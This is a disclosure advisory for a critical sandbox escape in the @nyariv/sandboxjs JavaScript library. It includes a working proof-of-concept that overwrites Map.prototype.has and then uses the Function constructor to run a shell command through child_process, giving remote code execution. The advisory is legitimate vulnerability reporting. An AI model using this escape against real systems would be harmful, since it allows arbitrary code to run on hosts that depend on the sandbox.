Critical

@nyariv/sandboxjs has a Sandbox Escape vulnerability

  • Disclosed: 05.02.2026
  • Updated: 11.10.2026 10:22

Summary

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

js
let a = Map.prototype;
console.log(a) // undefined
js
const a = Map.prototype;
console.log(a) // Object [Map] {}
js
let a = 123;
console.log(a) // 123
js
const a = 123;
console.log(a) // 123

PoC

js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Impact

Able to set Map.prototype.has -> RCE
